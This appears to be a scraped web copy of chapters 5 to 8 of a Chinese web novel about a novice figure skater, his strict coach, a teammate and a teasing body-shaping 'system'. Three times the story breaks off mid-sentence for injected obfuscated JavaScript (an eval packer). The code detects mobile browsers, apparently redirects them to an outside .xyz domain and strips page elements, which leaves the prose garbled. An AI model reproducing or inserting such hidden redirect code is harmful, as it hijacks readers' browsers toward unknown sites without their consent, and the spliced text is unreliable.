楚棠如蒙大赦，双腿一软直接瘫倒在地，像一条脱水的鱼，大口大口地喘着气。 “系统提示：支线任务【初次见面，展现惊人潜力】完成度90%。” “【蜜桃臀养成计划】当前进度15%。” “【大长腿塑形计划】当前进度18%。” “新增【天鹅臂养成计划】，当前进度5%。” “新增【纤细腰肢养成计划】，当前进度3%。” “新增【完美肩颈线条计划】，当前进度4%。” 一连串的系统提示音在楚棠脑海中响起，伴随着金光闪闪的进度条。 楚棠：“……” 他现在大概也许可能，离成为一个赏心悦目的衣架子不远了。 陈默走到他身边，递过一瓶运动饮料和一条干净的毛巾。 “你的柔韧性，是我见过最好的，没有之一。” 他的声音依旧冷淡，但语气中却带着一丝显而易见的赞赏。 “从明天开始，你的训练计划需要调整。” “上午进行冰上基础训练和旋转、跳跃的专项练习。” “下午，除了常规体能，增加两个小时的柔韧性和平衡性强化训练。” 陈默看着楚棠，眼神坚定而锐利。 “我有预感，你会成为冰场上最耀眼的存在。” 楚棠握着冰凉的运动饮料，听着陈默的话，再看看系统面板上那些惨不忍睹的塑形计划。 他突然觉得，未来的日子，可能比他想象的还要变态得多。 “教练。”楚棠的声音有些沙哑，带着一丝绝望，“我能拒绝吗？” 陈默挑了挑眉，嘴角勾起一抹极淡的，几乎可以忽略不计的弧度。 “你说呢？” 三个字，轻飘飘的，却带着不容置喙的威严。 楚棠默默地拧开瓶盖，灌了一大口运动饮料。 甜腻的液体滑过喉咙，却丝毫无法抚平他内心的悲怆。 “系统提示：陈默好感度+10，震惊值+30，期待值+20。” “支线任务【初次见面，展现惊人潜力】完美完成！” “恭喜宿主获得未知惊喜大礼包一份，是否立即开启？” 楚棠有气无力地在心里回道：“开……开吧，早死早超生……” 他已经不对这破系统抱有任何幻想了。 5. chapter5 “未知惊喜大礼包开启中……” “叮咚——” 一道幽蓝色的光芒在楚棠面前炸开，晃得他差点以为自己瞎了。 光芒散去，一个充满科技感的银色立方体凭空出现，表面流淌着复杂的数据纹路，缓缓旋转打开。 里面静静躺着一套非常符合系统审美的训练服。 “恭喜宿主获得【魅惑冰肌玉骨新手套装】（男款限定版）！” 系统的声音甚至带着一丝不易察觉的猥琐。 楚棠：“……” 魅惑？冰肌玉骨？这都什么跟什么啊！ 他有种不祥的预感。 “套装包含：【冰晶之力护腕】一对，【魅惑翘臀训练短裤】一条，【急速吸汗透气上衣】一件。” 楚棠的眼角狠狠抽搐了一下。 别的都还好，那个“魅惑翘臀训练短裤”是什么鬼？ “此套装采用星际最新科技面料，不仅能提供基础防护，减少冰面冲击力30%，更能subtly提升宿主在冰上的‘视觉魅力’，也就是俗称的‘观众缘’和‘裁判印象分’！” 系统顿了顿，用一种循循善诱的语气补充道：“最重要的是，它能让你在摔倒的时候姿势更优美！臀部线条更挺翘！每一次与冰面的亲密接触，都是一次的完美展示！” 楚棠冷笑：“我谢谢你啊。” 他现在只想把这破系统揪出来打一顿。 陈默看着楚棠脸上青一阵白一阵，以为他是训练过度后的正常反应，便将手中的战术板收起。 “今天你的表现，很出乎我的意料。”陈默的声音依旧清冷，但仔细听还是能能听出一丝赞赏的。 “你的身体条件，是顶级的。” “回去好好休息，明天早上七点，冰场见。” 说完，陈默深深地看了楚棠一眼，那眼神复杂难辨，有惊艳，有审视，还有一丝不易察觉的期待。 然后他就转过身迈着长腿，干脆利落地离开了体能训练室。 厚重的隔音门“咔哒”一声合上，将外界的一切隔绝。 训练室里只剩下楚棠，和那个在他脑海里喋喋不休的系统。 “宿主，是否立即装备【魅惑冰肌玉骨新手套装】？首次装备可额外获得‘冰上亲和度+5’的隐藏属性哦！” 楚棠瘫在地上，翻了个白眼。 “装，赶紧装，不然我怕你下一秒就要给我整个情趣蕾丝花边限定款’。” “系统检测到宿主有诽谤嫌疑，但念在宿主今日表现优异，暂不予追究。” 话音刚落，楚棠只觉得身上一轻，原本被汗水浸透的运动服消失不见，取而代之的是一种冰凉丝滑的触感。 他艰难地低头看去。 上衣是通体漆黑的，材质极薄，完美贴合着他的身形，勾勒出紧实的胸膛和隐约可见的腹肌轮廓。 袖口处有冰蓝色的暗纹蔓延至手腕，与他手腕上原有的冰晶纹印巧妙地融为一体。 【冰晶之力护腕】自动戴在了他的手腕上，触感冰凉，仿佛有源源不断的能量注入。 而下半身…… 那条所谓的【魅惑翘臀训练短裤】也是黑色，但比上衣的材质似乎更具弹性，紧紧包裹着他的臀部和大腿。 楚棠僵硬地扭头想看看自己的屁股。 “系统友情提示：宿主无需扭断脖子，本系统自带360度无死角体态监测功能。根据数据显示，装备此短裤后，宿主臀部视觉挺翘度提升12.7%，肌肉包裹感提升8.3%，【蜜桃臀养成计划】自动加速5%！” 屏幕上甚至还弹出了一个他穿着短裤的背部3D模型，重点部位还被金光闪闪的箭头标注了出来。 楚棠：“……” 他面无表情地伸出手，摸了摸自己的屁股。 嗯，确实感觉更紧绷也更有型了。 一种难以言喻的羞耻感涌上心头。 “我这是造了什么孽啊……” …… 第二天，早上六点五十分。 楚棠顶着两个黑眼圈，脚步虚浮地出现在星光国际滑冰俱乐部的冰场入口。 他身上穿着那套羞耻度爆表的【魅惑冰肌玉骨新手套装】，外面套了一件俱乐部发的普通运动外套，试图遮掩一下。 然而，那紧身的设计，依旧将他纤长的身形和出众的臀腿线条勾勒得淋漓尽致。 刚走进更衣室，就听到一个略带调侃的声音响起。 “哟，这不是昨天在体能室表演人体极限艺术的那位潜力股吗？” 楚棠抬头，看见一个身材健硕，皮肤是健康小麦色的男生正靠在储物柜上，双手抱胸，似笑非笑地看着他。 正是昨天在体能房门口惊鸿一瞥，后来又在系统的人物介绍里看到的队友——陆昭。 陆昭的目光在他身上上下打量了一番，最后停留在他紧实的臀部，吹了声口哨。 “啧啧，新来的，身材不错啊，尤其是这屁股是练花滑的料。” 楚棠的脸“唰”地一下就红了。 “你……你看哪里呢。”他有些恼羞成怒。 “看你应该被看的地方啊。”陆昭挑了挑眉，笑容张扬，“我们练花滑的，核心力量和下盘稳固最重要，臀腿练不好，跳都跳不起来。你这底子，一看就是老天爷赏饭吃。” 楚棠：“……” 这话怎么听着这么像系统那个变态的论调？ “系统提示：检测到队友【陆昭】的‘臀部赏析’，【蜜桃臀养成计划】关注度+1，宿主魅力值小幅波动。” 楚棠想死的心都有了。 他默默地走到自己的储物柜前，开始换冰鞋。 冰鞋是俱乐部提供的，崭新的，边缘还带着一丝冰冷的锋锐。 “新来的，叫什么？”陆昭也开始换鞋，随口问道。 “楚棠。” “陆昭。”陆昭报上自己的名字，然后指了指外面，“教练已经在等了，今天可是你第一天上冰，别迟到。” 提到陈默，楚棠就感觉自己的肌肉开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575242|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始隐隐作痛。 他深吸一口气，穿好冰鞋，小心翼翼地站起身。 脚下冰刀的触感让他有些不适应，重心不稳地晃了晃。 陆昭看他那副样子，忍不住嗤笑一声：“不是吧，你连路都不会走了？” 楚棠瞪了他一眼，扶着墙壁，一步一步艰难地挪向冰场入口。 冰场内，冷气扑面而来。 巨大的冰面在灯光下反射着清冷的光芒，几道修长的身影正在冰上流畅地滑行，做出各种优美的动作。 陈默穿着一身黑色的教练服，戴着手套，正站在冰场边上，神情专注地看着场内。 看到楚棠和陆昭进来，他招了招手。 “楚棠，过来。” 楚棠深吸一口气，鼓起勇气，一只脚踏上了冰面。 “刺啦——” 脚下一滑，他整个人不受控制地向前扑去！ “卧槽！” 楚棠下意识地闭上了眼睛，准备迎接与冰面的亲密接触。 预想中的剧痛没有传来，他只感觉腰间一紧，被人稳稳地扶住了。 “系统提示：【冰晶之力护腕】轻微能量波动，平衡辅助启动。因【魅惑翘臀训练短裤】的特殊力学设计，宿主摔倒姿势预计美观度提升5%。” 楚棠：“……” 都什么时候了还他妈美观度！ 他睁开眼，就对上了陈默那双深邃的眸子。 陈默扶着他的腰，眉头微蹙：“昨天让你回去熟悉冰感，你做了什么？” 楚棠心虚地低下头：“我……我睡着了。” 他是真的累瘫了，沾床就睡，哪还有力气想什么冰感。 陈默的脸色沉了沉：“花样滑冰不是靠天赋就能成功的运动。你的柔韧性是优势，但冰感、力量、技巧，每一样都需要成千上万次的重复练习。” 他的声音不大，却带着一股不容置疑的威严。 “今天，你的任务很简单。”陈默松开手，后退一步，“在冰上，站稳，然后向前滑行十米，不许摔倒。” 楚棠看着那光洁如镜的冰面，咽了口唾沫。 十米，听起来不远，但对他这个新手来说，简直是天堑。 “如果摔倒一次呢？”他小声问。 陈默嘴角勾起一抹冷淡的弧度：“摔倒一次，加练半小时陆地核心。” 楚棠：“！！！” 这简直是要他的老命！ 陆昭在一旁幸灾乐祸地吹了声口哨，然后一个漂亮的燕式平衡滑过，带起一阵劲风。 “加油哦，小楚棠。” 他冲楚棠挤了挤眼睛，那揶揄的语气，让楚棠恨得牙痒痒。 “请宿主努力训练，用实力证明自己不是只能看的花瓶！” 楚棠深吸一口气，看着陈默那张冷峻的脸，又看看系统面板上那个恐怖的惩罚。 不就是滑十米吗，死就死吧。 他咬了咬牙，微微弯曲膝盖，努力控制着身体的平衡，小心翼翼地向前迈出了第一步。 6. chapter6 楚棠咬了咬牙，微微弯曲膝盖，努力控制着身体的平衡，小心翼翼地向前迈出了第一步。 冰刀接触冰面，发出轻微的“嚓”声。 还不错。 楚棠心中一喜，刚想迈出第二步—— “啪叽！” 一声清脆的响声，伴随着陆昭毫不掩饰的爆笑。 “小楚棠，你这摔的姿势还挺别致嘛。” 楚棠整个人以一个标准的“狗啃泥”姿势，结结实实地趴在了冰面上。 冰冷的寒气瞬间透过那身【魅惑冰肌玉骨新手套装】，刺激着他的每一寸肌肤。 “系统提示：【魅惑翘臀训练短裤】缓冲功能启动，冰面冲击力减少30%。宿主摔倒姿势‘五体投地’，美观度-10%，【蜜桃臀养成计划】受到不明干扰，进度停滞。” 楚棠：“……” 可去他的美观度！他的屁股招谁惹谁了？！ 他感觉自己的脸颊滚烫，不是因为运动，纯粹是被气的。 陈默面无表情地看着他，声音里听不出喜怒：“起来，继续。” 楚棠挣扎着想爬起来，但冰面太滑，即使他手脚并用也试了好几次才勉强撑起身体。 膝盖和手肘处摔到的地方都火辣辣地疼。 “教练，这也太难了。”楚棠带着哭腔，他感觉自己快要被折腾散架了。 “难？”陈默挑了挑眉，“你以为世界冠军是你往床上一躺就能拿到的？” “再摔一次，核心训练加到一小时。” 陈默冰冷的话语像一把利剑，狠狠刺穿了楚棠最后一点侥幸。 一小时陆地核心？那他还不如现在就去找块豆腐撞死自己。 “我滑，我再试试。”楚棠咬紧牙关，重新站好。 他深呼吸，试图回忆昨天系统给他灌输的那些理论知识。 重心降低，膝盖微屈，身体前倾…… 一步，两步…… “啪！” 又是一跤。 这次是屁股先着地。 楚棠痛呼出声，眼泪都快飙出来了。 “系统提示：【魅惑翘臀训练短裤】贴合度极佳，完美展现宿主受冲击时臀部肌肉的弹性。摔倒姿势‘屁股墩儿’，美观度+3%，【蜜桃臀养成计划】因祸得福，进度微涨0.5%。” 楚棠：“……” 这破系统绝对是故意的！ 陆昭在一旁笑得直不起腰，边笑边拍着大腿：“哎哟喂，不行了不行了，小楚棠，你这是用屁股在滑冰吗？新流派啊？” 陈默的脸色已经不能用难看来形容了，简直是乌云密布。 “楚棠。”他缓缓开口。 楚棠一个激灵，预感不妙。 “一小时核心训练，现在，马上去陆地训练室。”陈默的声音不带一丝温度。 “别啊教练！”楚棠哀嚎，“我再试一次，就一次！” “我给了你两次机会，你都浪费了。”陈默不为所动。 “系统提示：主线任务‘冰上滑行十米（不摔倒）’进度0%，惩罚机制启动。请宿主尽快适应冰面，否则后续训练将更加惨无人道。” 楚棠欲哭无泪。 他知道陈默说一不二，只能认命地脱下冰鞋，在一众队友同情又带着点幸灾乐祸的目光中，垂头丧气地走向陆地训练室。 陆昭追了上来，拍了拍他的肩膀：“兄弟，挺住。哥们儿回头给你带瓶运动饮料。” 楚棠有气无力地朝他挥了挥手。 来到空无一人的陆地训练室，楚棠一屁股坐在冰凉的地板上，生无可恋。 “系统，我恨你。”他咬牙切齿。 “宿主，抱怨并不能解决问题。根据数据显示，您的平衡能力远低于平均水平。建议进行针对性平衡训练。”系统的声音依旧毫无波澜。 “针对性训练？怎么练？我现在上了冰连站都站不稳。”楚棠自暴自弃。 “检测到宿主有放弃倾向，将触发‘电击疗法’以激发潜能……” “停停停。”楚棠吓得一个鲤鱼打挺从地上蹦起来，“我练，我练还不行吗。” 他可不想再体验那种灵魂出窍般的电击了。 “根据本系统的精密计算，宿主可以尝试平衡木训练。”系统不紧不慢地建议。 “平衡木？”楚棠愣了一下。 他环顾四周，训练室的角落里，果然放着一条标准体操用的平衡木。 “就你这小脑还没发育完全的样子，还想滑十米？不如先去马戏团练练走钢丝，哦不，平衡木吧？说不定能开发出什么新才艺，你觉得呢？”系统难得地调侃了一句，虽然依旧毒舌。 楚棠没理会系统的嘲讽，眼睛却亮了起来。 对啊，他都忘了还有平衡木。 冰上滑行不就是对平衡要求极高吗？如果能在平衡木上如履平地，那冰上站稳应该也不是什么难事了。 “系统，你总算说了句人话。” “本系统一向以专业著称。” 楚棠走到平衡木前，那么窄窄的一条，此刻却成了他的救命稻草。 他深吸一口气，小心翼翼地踩了上去。 刚一上去，楚棠的身体就控制不住地摇晃起来，差点直接掉下去。 “救……” 楚棠手忙脚乱地挥舞着手臂，好不容易才稳住身形。 这平衡木，比他想象中难多了。 “宿主，友情提示，平衡木宽度为10厘米，与冰刀刃宽相近，是绝佳的模拟训练器材。” 楚棠咬了咬牙，他今天还就跟这平衡木杠上了。 他一次次地尝试，一次次地掉下来。 刚开始是走一步就掉，后来能走两三步，再后来能走完整条平衡木，但依旧摇摇晃晃，随时都有摔倒的风险。 汗水浸湿了楚棠的头发和衣服，那件【急速吸汗透气上衣】几乎快要滴出水来。 “不行，这样强度不够。”楚棠喘着粗气，目光扫过角落里的沙袋。 那是其他队员进行负重训练用的。 一个大胆的想法在他脑海中形成。 他踉踉跄跄地走过去，吃力地抱起两个最轻的沙袋，每个大概五公斤。 “系统，帮我把沙袋绑在小腿上。” “宿主确定？负重行走平衡木将极大增加训练难度，并可能导致肌肉拉伤。” “废话少说，赶紧的。”楚棠已经打定了主意。 他今天非要把这平衡感给练出来不可，不然那一小时的核心训练他真的会死。 “那好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575243|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，如您所愿。” 话音刚落，楚棠就感觉小腿一沉，两个沙袋被一股无形的力量牢牢固定在了他的小腿肚上。 他试着抬了抬腿，沉甸甸的感觉让他差点一个趔趄。 带着沙袋，楚棠再次踏上平衡木。 这一次，难度骤然提升。 每一步都像是踩在棉花上，身体晃动得更加剧烈。 汗水顺着他的额角滑落，一直滴进眼睛里，涩得他睁不开眼。 他楚棠上辈子从来没有这么狼狈过。 可越这样，他就越不想认输。眼睛死死盯着平衡木的前方，将所有的注意力都集中在脚下。 一步，两步，稳住了。 楚棠身体的核心肌肉不自觉地绷紧，试图对抗那股摇晃的力量。 汗珠滴落在平衡木上，很快就晕开不见痕迹，一时间训练室里只剩下他沉重的呼吸声和沙袋摩擦的细微声响。 不知道过了多久，也不知道摔了多少次。 楚棠只觉得双腿像是灌了铅一样沉重，浑身的肌肉都在酸痛抗议。 就在他快要坚持不住，眼前阵阵发黑的时候—— “叮咚——” 一声清脆悦耳的提示音在他脑海中响起，宛如天籁。 “恭喜宿主！在极端压力下挑战自我，成功解锁隐藏成就【不动如山】（初级）！” “检测到宿主核心肌群得到极限锻炼，【核心控制力】永久提升10%！” “【蜜桃臀养成计划】因核心力量增强，训练效率提升5%！” “【大长腿塑造计划】同步获得经验，紧致度提升3%！” 一连串的系统提示音，让楚棠瞬间懵了。 他下意识地晃了晃身体。 咦？ 之前那种随时要摔倒的感觉，似乎确实减轻了不少。 他试着在平衡木上多走了几步，虽然依旧有些摇晃，但明显比之前稳健了许多。 就像是身体里多了一根主心骨，让他能够更好地控制四肢的平衡。 “核心控制力这就提升了？”楚棠喃喃自语，眼中闪过一丝惊喜。 他低头看了看绑在腿上的沙袋，又看了看那条窄窄的平衡木。 看来绝境之中，真的能逼出潜力。 “宿主，鉴于您超额完成隐藏训练，系统特此奖励‘初级平衡感悟’一份，已自动吸收。” 话音刚落，楚棠只觉得一股清凉的能量从头顶注入，瞬间流遍四肢百骸。 之前那种晕眩和疲惫感减轻了不少，头脑也变得更加清明。 他对身体的掌控，似乎又提升了一个细微的层级。 楚棠深吸一口气，再次踏上平衡木。 这一次，他走得异常稳健。 即使小腿上还绑着沙袋，他也几乎没有晃动地从平衡木的一端稳稳地走到了另一端。 “我竟然真的做到了？” 楚棠有些不敢相信地看着自己的双脚，这还是他的脚吗，这么牛的。 他竟然真的在负重的情况下稳稳地走完了平衡木。 虽然浑身酸痛，整个人看着狼狈不堪，但这一刻他还是觉得自己帅爆了。 楚棠抹了一把脸上的汗水，突然觉得那一个小时的核心训练，似乎也没那么可怕了。 7. chapter7 “宿主，鉴于您在平衡木训练中表现优异，系统特此提醒，陈默教练布置的核心训练尚余五十八分钟。” 系统的声音凉飕飕的，像十二月的冰流子。 楚棠：“……” 刚刚才建立起来的那一点点信心，瞬间被戳破。 他认命地叹了口气，扶着墙慢慢站起来，两条腿像灌了铅似的又酸又胀。 “走吧，未来的世界冠军和他的系统。”楚棠对着空气自嘲了一句，拖着沉重的步伐往外走。 刚出陆地训练室的门，楚棠就差点和一个人撞个满怀。 楚棠踉跄了一下，抬头一看，是陆昭。 陆昭手里拿着一瓶运动饮料，看见楚棠这副鬼样子，挑了挑眉：“哟，小可怜，这是被榨干了？” 他上下打量着楚棠，目光在他汗湿的T恤和微微颤抖的双腿上转了一圈。 “啧啧，陈教还真是一点都不怜香惜玉啊。” 楚棠现在连翻白眼的力气都没有了。 “饮料给我。”楚棠伸出手。 陆昭“嘿嘿”一笑，把饮料递给他：“喏，哥们儿特意给你留的，最新款，据说补充能量特快。” 楚棠拧开瓶盖咕咚咕咚灌了大半瓶，冰凉的液体顺着喉咙滑下，总算驱散了些许燥热和疲惫。 “谢了。”他难得真心实意道。 “客气啥。”陆昭揽住他的肩膀，哥俩好地往冰场方向走，“陈教还在冰场边上等你呢，那脸色，跟要吃人似的。” 楚棠一个激灵。 刚升起的那点豪情壮志，瞬间又萎了下去。 “他……他不会真要我练满一小时吧？” “那可说不准。”陆昭耸耸肩，“不过你刚才在陆地训练室搞什么呢？乒乒乓乓的，我还以为拆迁队来了。” “练平衡。”楚棠有气无力。 “平衡？就你那小脑？”陆昭一脸不信。 楚棠懒得跟他解释，两人很快就回到了冰场。 陈默果然还站在场边，双手抱胸，面沉如水。 冰场上其他队员还在进行各自的训练，但气氛明显比之前压抑了不少，估计是被陈默的低气压给影响的。 看到楚棠回来，陈默的目光像探照灯一样射了过来。 “回来了？”他声音没什么起伏。 “嗯。”楚棠硬着头皮走过去。 “核心训练，开始吧。”陈默指了指旁边空出来的一块区域。 那里已经铺好了一张瑜伽垫。 楚棠认命地走过去，在垫子上趴下，准备从最基础的平板支撑开始。 “等等。”陈默突然开口。 楚棠心里“咯噔”一下，不是吧，还有什么幺蛾子？ 只见陈默从旁边拿过一个计时器，按了一下：“刚才在陆地训练室待了多久？” “大概……四十分钟？”楚棠不确定地回答。 系统立刻精准报时：“宿主在陆地训练室共停留42分37秒，其中有效平衡木训练时长为38分12秒。” 陈默点了点头，似乎并不意外。 他看了一眼计时器：“算你自觉。核心训练，二十分钟。” 楚棠猛地抬起头，不敢置信地看着陈默。 “这就二十分钟了？” 幸福来得太突然，他有点懵。 陈默冷哼一声：“怎么，嫌少？那可以加回一小时。” “不少不少，二十分钟刚刚好，我马上开始。”楚棠求生欲极强，立刻手肘撑地，摆好了平板支撑的姿势。 陆昭在一旁看得啧啧称奇，凑到其他队友身边小声嘀咕：“看见没，陈教这是刀子嘴豆腐心啊。” “别叭叭了，小心被他听到，让你也加练。”旁边的队友赶紧捂住他的嘴。 楚棠深吸一口气，努力收紧核心。 他能感觉到，身体的控制力确实比之前强了不少。 之前做平板支撑的时候他感觉全身都在抖，腰腹部像是有千斤重担压着，随时都会塌下去。 但现在，虽然依旧吃力，但他能清晰地感觉到腹部、腰部甚至臀部的肌肉在协同发力，共同支撑着身体，那种摇摇欲坠的感觉减轻了许多。 “系统提示：宿主核心肌群发力正确率提升15%，【不动如山】（初级）效果持续生效中。” “【蜜桃臀养成计划】因核心力量调动，相关肌群得到有效刺激，进度+0.8%。” “【大长腿塑造计划】因动作标准度提升，肌肉线条优化效率提升0.5%。” 楚棠：“……” 很好，这很系统。 就连做个平板支撑，都不忘他的屁股和腿。 陈默站在一旁，目光锐利地审视着楚棠的动作。 他看得出来，这小子的核心力量和稳定性确实比上午刚上冰时有了不小的进步。虽然依旧稚嫩，但那股子不服输的劲头，倒是有几分可取之处。 尤其是那孩子在平衡木上玩命似的加沙袋训练，监控室那边已经把视频传给他了。 有点意思。 陈默嘴角几不可查地勾了勾，随即又恢复了面无表情。 “腰再收紧一点，屁股不要撅那么高，你是要勾引谁吗。” 冰冷的声音传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575244|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 楚棠身体一僵，赶紧调整姿势。 他发誓他刚刚绝对没有想撅屁股，纯粹是力竭时的自然反应。 “系统提示：教练陈默的‘臀线夸赞’技能发动失败，未能成功激发宿主斗志。宿主【嘲讽抗性】似乎有所提升。” 那还真是谢谢你呢，系统。 二十分钟的核心训练，在楚棠咬牙坚持和系统时不时的“臀腿播报”中，总算熬了过去。 当陈默喊停的时候，楚棠几乎是直接瘫在了垫子上，大口大口地喘着粗气。 汗水将他的头发彻底打湿，几缕不听话地黏在额前和脸颊，整个人像是刚从水里捞出来一样。 那身【魅惑冰肌玉骨新手套装】此刻也紧紧贴在身上，勾勒出少年纤瘦却不失力量感的身体线条。 尤其是那经过系统精心呵护的臀部，在紧身训练裤的包裹下，呈现出一种饱满而富有弹性的弧度。 陆昭吹了声口哨：“行啊小楚棠，没想到你还挺能扛。” 陈默没理会陆昭的贫嘴，走到楚棠面前，居高临下地看着他。 “感觉怎么样？” “感觉……快死了。”楚棠声音沙哑，带着浓浓的疲惫。 “但还活着。”陈默淡淡道。 他顿了顿，继续说：“明天早上七点，冰场集合。我不希望再看到有人连站都站不稳。” 楚棠一个激灵，从垫子上挣扎着坐起来：“教练，我……” “今天的训练结束，解散。” 陈默丢下这句话，便转身离开了。 楚棠看着他的背影，心里五味杂陈。 虽然这个教练严厉得近乎不近人情，但似乎也不是完全不讲道理。 至少，他没有真的畜生到罚自己练满一小时。 “叮咚——” “恭喜宿主完成隐藏考验‘教练的仁慈’，获得陈默教练好感度+1。” “系统提示：当前陈默教练好感度为-49。革命尚未成功，同志仍需努力。” 楚棠：“……” 好感度还是负的？那之前得有多低？！ 他简直不敢想象。 陆昭走过来，拉了楚棠一把：“行了，别挺尸了，赶紧去冲个澡换身衣服，哥们儿带你去搓一顿好的，庆祝你劫后余生。” 楚棠被他拉起来，腿肚子还在打颤。 “吃什么？”他眼睛亮了亮，“我快饿死了。” 一整天高强度的训练，让他此刻饥肠辘辘，感觉能吃下一头牛。 “先去再说。”陆昭勾着他的脖子，两人嘻嘻哈哈地朝更衣室走去。 8. chapter8 楚棠被陆昭勾肩搭背地拖着，两条腿还在不自觉地打着摆子，仿佛下一秒就要散架。 “去吃什么大餐啊。”他舔了舔有些干裂的嘴唇还是忍不住问道，眼睛里闪烁着对食物最原始的渴望。 陆昭神秘兮兮地眨了眨眼：“俱乐部附近新开了家烧烤店，那烤羊腿简直一绝，而且肉质绝对靠谱。” “肉好啊，我要吃肉。”楚棠瞬间来了精神，脚步都仿佛轻快了半分。 两人先回了更衣室。 热水从花洒中倾泻而下，冲刷着楚棠满身的汗水与疲惫。 他看着镜子里自己，少年身形纤长，皮肤在热水的冲刷下泛着淡淡的粉色。 那套【魅惑冰肌玉骨新手套装】脱下来时，他甚至能感觉到布料下肌肉的微微酸胀。 “系统，今天的训练应该还算不错吧？”楚棠一边擦着头发，一边在心里问。 “报告宿主，今日【蜜桃臀养成计划】累计进度+1.5%，【大长腿塑造计划】累计进度+1.2%。革命尚未成功，宿主仍需努力，尤其要注重训练后的拉伸与蛋白质补充，以达到最佳塑形效果。” 系统的声音依旧毫无波澜，但楚棠已经能自动过滤掉那些督促，只听自己想听的。 补充蛋白质，那就是让他去吃肉。 “还行，没白累。” 换好干净的T恤和运动裤，楚棠感觉自己又活过来了一半。 陆昭早已等在门口，见他出来，吹了声口哨：“收拾一下还是挺人模狗样的嘛，就是这小脸白的，跟刚从水里捞出来似的。” 楚棠懒得理他，率先迈开步子：“快走啦，我要饿死了。” 烧烤店果然如陆昭所说离俱乐部不远，慢慢走也就七八分钟的路程。 现在正是饭点，店里人声鼎沸，空气中弥漫着孜然和烤肉的浓郁香气，勾得人食指大动。 “老板，一只烤羊腿，再来二十串羊肉串，十串五花肉，十串鸡翅，两份烤茄子，两份烤韭菜……再来两扎冰啤酒。”陆昭熟门熟路地报着菜名，显然是这里的常客。 楚棠听得眼睛都直了。 “吃得完吗。”他小声问。 陆昭豪气地一挥手：“放心，哥们儿饭量大着呢。你今天消耗那么大，也得多补补。” 他意有所指地瞟了一眼楚棠的臀部和双腿。 楚棠：“……” 这眼神，怎么跟系统一个德行。 很快，金黄油亮、滋滋作响的烤串和香气扑鼻的烤羊腿就端了上来。 楚棠也顾不上什么形象了，抓起一串羊肉串就往嘴里塞。 肉质鲜嫩，香料入味，孜然的颗粒感在舌尖炸开，简直是人间美味。 “你没骗我，是挺好吃的。”楚棠含糊不清地赞叹。 陆昭看着他狼吞虎咽的样子，乐了：“慢点吃，没人跟你抢。看你这饿死鬼投胎的样子，陈教平时是不是都不给你饭吃啊？” “他恨不得把我练死在冰场上，哪还管我吃饭。”楚棠灌了一大口冰啤酒，麦芽的香气和冰凉的液体瞬间驱散了残余的疲惫，爽得他打了个哆嗦。 “不过，”楚棠顿了顿，又啃了口羊腿，“今天他还算有点人性，居然给我减了核心训练时间。” “那是因为你小子在平衡木上表现好吧？”陆昭给他倒上啤酒，“我可都听说了，负重沙袋走平衡木，行啊你，平时看着弱不禁风的，没想到还挺有两下子。” “什么弱不禁风！”楚棠不服气，“我那是那是还没适应！” 他才不会承认自己之前怕苦怕累呢。 “是是是，没适应。”陆昭敷衍地点头，憋着笑，“不过话说回来，陈教那人吧，就是嘴巴毒了点，心还是不坏的。他对有潜力的苗子，都特别上心。” “潜力？”楚棠挑眉，“你是说我？” “不然呢？”陆昭啃着鸡翅，“就你今天那横叉竖叉，还有后来平衡木上的表现，瞎子都看得出你有天赋。不然陈教早把你赶出去了，怎么还会给你留下来加练？” 楚棠闻言，心里莫名地舒坦了一些。 原来陈默也不是完全针对自己。 “系统提示：宿主听到正面评价，自信心略微提升。观众缘魅力值+0.1。” 楚棠：“……” 这也能加观众缘？ 就在这时，烧烤店墙上挂着的电视屏幕突然亮了起来，开始播放体育新闻。 “……下面我们来关注一下即将在我国举办的下一届花样滑冰大奖赛的相关筹备情况。据悉，本次大奖赛吸引了众多国内外顶尖选手报名参与，我国花滑队也将派出最强阵容，力争在家门口取得好成绩……” 一个温润悦耳的男声从电视里传来，像山间清泉，又像三月和风，瞬间压过了周围的嘈杂。 楚棠下意识地抬了下头。 屏幕上出现了一个戴着金丝边眼镜的年轻男人，穿着得体的西装，正对着镜头侃侃而谈。 他的五官算不上惊艳，但组合在一起却有种说不出的舒服与耐看，气质斯文儒雅，眼神沉静而专注。 “……而我国新生代选手中，也不乏潜力新星涌现，我们期待他们能在大奖赛上带来惊喜。接下来，让我们回顾一下上届世锦赛中选手们的精彩瞬间。” 解说员似乎口误了一下，但很快便自然地修正过来，开始播放比赛集锦。 楚棠的注意力却停留在了那个解说员身上。 不知道为什么，他觉得这个人的声音有点好听。 “这解说谁啊？声音还挺不错的。”陆昭也注意到了电视，随口说道，“比平 